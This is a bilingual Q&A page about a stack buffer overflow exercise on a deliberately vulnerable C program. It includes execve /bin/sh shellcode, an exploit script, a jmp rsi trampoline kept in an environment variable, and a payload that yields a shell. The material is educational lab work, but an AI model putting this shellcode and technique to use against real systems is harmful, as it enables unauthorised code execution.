使用shellcode的缓冲区溢出练习 [英] A buffer overflow exercise using a shellcode

查看:170
本文介绍了使用shellcode的缓冲区溢出练习的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在做一个关于C程序中缓冲区重载的练习,这个问题的目的是在我将 shellcode 插入到程序。这是我到目前为止所拥有的:

I have doing an exercise about a buffer overload on a C program, the goal of this problem is to get the root shell once I have inserted a shellcode into the program. This is what I have until now:

步骤1:首先,让我们在名为file.c的文件中查看我的C代码:

root@kali:~# cat ./file.c
#include <stdio.h>
#include <string.h>

void premio()
{
     printf("I have altered the programs flow\n");
}

int main(int argc, char *argv[])
{
    char buffer[100];
    if (argc != 2)
   {
         printf("Use: %s argument\n",argv[0]);
         return -1;
    }
    strcpy(buffer,argv[1]);
    printf ("%s\n",buffer);
    return 0;
}

第2步-我已将其编译并停用ASLR以避免接收如下所示的随机地址:

gcc -fno-stack-protector -z execstack buffer.c -o buffer

echo 0 > /proc/sys/kernel/randomize_va_space

第3步。-让我们检查一下作品:

root@kali:~# ./file string
string
root@kali:~# ./file `ruby -e 'print "a"*99'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*100'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault  (this means we have overwritten the EIP register)

root@kali:~# gdb ./file
(gdb) run  `ruby -e 'print "a"*125'`
Starting program: /root/file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000006161616161 in ?? () (this is the value of EIP beacuse of the letter a)
(gdb) 

第4步-我们将使用以下方法查找EIP头寸的值:

root@kali:~# ./pattern_create.rb -l 125
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
root@kali:~# gdb ./file
(gdb) run "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Starting program: /root/file "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae

Program received signal SIGSEGV, Segmentation fault.
0x0000006541306541 in ?? ()

root@kali:~# ./pattern_offset.rb -q 0x0000006541306541 -l 125
[*] Exact match at offset 120

In this case we have found that if we write 120 characters the next 5 will be EIP

第5步。现在,我们将创建一个脚本,用shellcode覆盖缓冲区,该shellcode取自:

\x31 \xc0           xor eax, eax
\x50                push eax
//PUSH /bin
\x68\x2f\x2f\x73\x68        push 0x68732f2f
//PUSH //sh
\x68\x2f\x62\x69\x6e        push 0x6e69622f
\x89\xe3            mov ebx, esp
\x50                push eax
\x53                push ebx
\x89\xe1            mov ecx, esp
\xb0\x0b            mov al, 0xb
\xcd\x80                int 0x80  

root@kali:~# cat ./exploit.rb
eip = "bbbbb"
aes = "a"*97
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" #23 bytes

print (shell + aes + eip) #125 bytes total

第6步-现在,我们必须知道必须跳转哪个地址才能开始执行外壳,但是在这里我卡住了,因为我不知道该怎么做。

(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x0000000000000753 <+0>:     push   rbp
   0x0000000000000754 <+1>:     mov    rbp,rsp
   0x0000000000000757 <+4>:     add    rsp,0xffffffffffffff80
   0x000000000000075b <+8>:     mov    DWORD PTR [rbp-0x74],edi
   0x000000000000075e <+11>:    mov    QWORD PTR [rbp-0x80],rsi
   0x0000000000000762 <+15>:    cmp    DWORD PTR [rbp-0x74],0x2
   0x0000000000000766 <+19>:    je     0x78a <main+55>
   0x0000000000000768 <+21>:    mov    rax,QWORD PTR [rbp-0x80]
   0x000000000000076c <+25>:    mov    rax,QWORD PTR [rax]
   0x000000000000076f <+28>:    mov    rsi,rax
   0x0000000000000772 <+31>:    lea    rdi,[rip+0xf1]        # 0x86a
   0x0000000000000779 <+38>:    mov    eax,0x0
   0x000000000000077e <+43>:    call   0x5f0 <printf@plt>
   0x0000000000000783 <+48>:    mov    eax,0xffffffff
   0x0000000000000788 <+53>:    jmp    0x7b5 <main+98>
   0x000000000000078a <+55>:    mov    rax,QWORD PTR [rbp-0x80]
   0x000000000000078e <+59>:    add    rax,0x8
   0x0000000000000792 <+63>:    mov    rdx,QWORD PTR [rax]
   0x0000000000000795 <+66>:    lea    rax,[rbp-0x70]
   0x0000000000000799 <+70>:    mov    rsi,rdx
   0x000000000000079c <+73>:    mov    rdi,rax
   0x000000000000079f <+76>:    call   0x5d0 <strcpy@plt>
   0x00000000000007a4 <+81>:    lea    rax,[rbp-0x70]
   0x00000000000007a8 <+85>:    mov    rdi,rax
   0x00000000000007ab <+88>:    call   0x5e0 <puts@plt>
   0x00000000000007b0 <+93>:    mov    eax,0x0
   0x00000000000007b5 <+98>:    leave
   0x00000000000007b6 <+99>:    ret
End of assembler dump.

第7步。在这里,您可以找到将其放入利用脚本的地址更改eip的值,但是我不知道该怎么办,对不起

(gdb) run `ruby exploit.rb`
Starting program: /root/file `ruby exploit.rb`
1▒Ph//shh/bin▒▒PS▒▒
                   ̀aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb

Program received signal SIGSEGV, Segmentation fault.
0x0000006262626262 in ?? ()
(gdb) x/40x $esp
0xffffffffffffe590:     Cannot access memory at address 0xffffffffffffe590
(gdb) x/40x $rsp
0x7fffffffe590: 0x00600000      0x00000000      0xffffe668      0x00007fff
0x7fffffffe5a0: 0xf7b9c168      0x00000002      0x55554753      0x00005555
0x7fffffffe5b0: 0x00000000      0x00000000      0xb3c231f4      0x54cfb08e
0x7fffffffe5c0: 0x55554610      0x00005555      0xffffe660      0x00007fff
0x7fffffffe5d0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe5e0: 0xf76231f4      0x019ae5db      0x589031f4      0x019af56f
0x7fffffffe5f0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe600: 0x00000000      0x00000000      0xffffe680      0x00007fff
0x7fffffffe610: 0xf7ffe168      0x00007fff      0xf7de875b      0x00007fff
0x7fffffffe620: 0x00000000      0x00000000      0x00000000      0x00000000
(gdb)

最后必须输入给我一个 root shell

At the end of all it must give me a root shell.

差不多要完成了,在第6步和第7步我真的被卡住了,可以

Almost to finish, on steps 6 and 7 I am really stuck, can you help me please?

谢谢高级

最诚挚的问候

推荐答案

在C语言中,空字符是参数的结尾。因此,有效载荷中不能包含空字符(第一个参数)。总之,您必须找到一种不带空字符的跳至shellcode的方法。

In C language the null character is the end of the argument. So, you can't have null characters in your payload (first argument). In conclusion, you have to find a way to jump to your shellcode without null characters.

解决问题的一种方法是使用环境变量。例如。保存跳转(jmp rsi)

A way to solve your problem could be using the environment variables. E.g. to save the jump (jmp rsi)

为什么要注册RSI?

因为偏移量是0

[RSP] --> offset 120 - size ~80
[RSI] --> offset 0 - size ~203

获取操作码并将其保存在环境变量中。

Get the opcodes and keep it in an environment variable.

[manu@kinakuta /tmp]$ rasm2 "jmp rsi"
ffe6
[manu@kinakuta /tmp]$ export JMP_RSI=`python -c 'print "\xff\xe6\x00"'`

获取环境变量的地址

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]){
        char *ptr;
        if (argc < 3){
                printf("Usage: %s <environment var> <target program name>\n", argv[0]);
                exit(0);
        }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) -strlen(argv[2]))*2;
    printf("%p\n",ptr);
}

编译并获取地址

[manu@kinakuta /tmp]$ gcc getenvaddr.c -o getenvaddr
[manu@kinakuta /tmp]$ ./getenvaddr JMP_RSI ./buffer
0x7fffffffef3d

如果您在调试器中,则必须在此地址添加8。

利用漏洞


Shellcode + padding + EIP(环境变量地址)-> RSI +
填充+ JMP RSI

Shellcode + padding + EIP (environment variable address) -> RSI + padding + JMP RSI



[manu@kinakuta /tmp]$ python -c 'print "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"+"\x90"*(120-30)+"\x3d\xef\xff\xff\xff\x7f"' > input
[manu@kinakuta /tmp]$ ./buffer `cat input`
H1�H�//bin/shH�SH��PWH���;������������������������������������������������������������������������������������������=����
$ id
uid=1000(manu) gid=1000(manu) groups=1000(manu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),122(vboxusers),124(wireshark)

这篇关于使用shellcode的缓冲区溢出练习的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆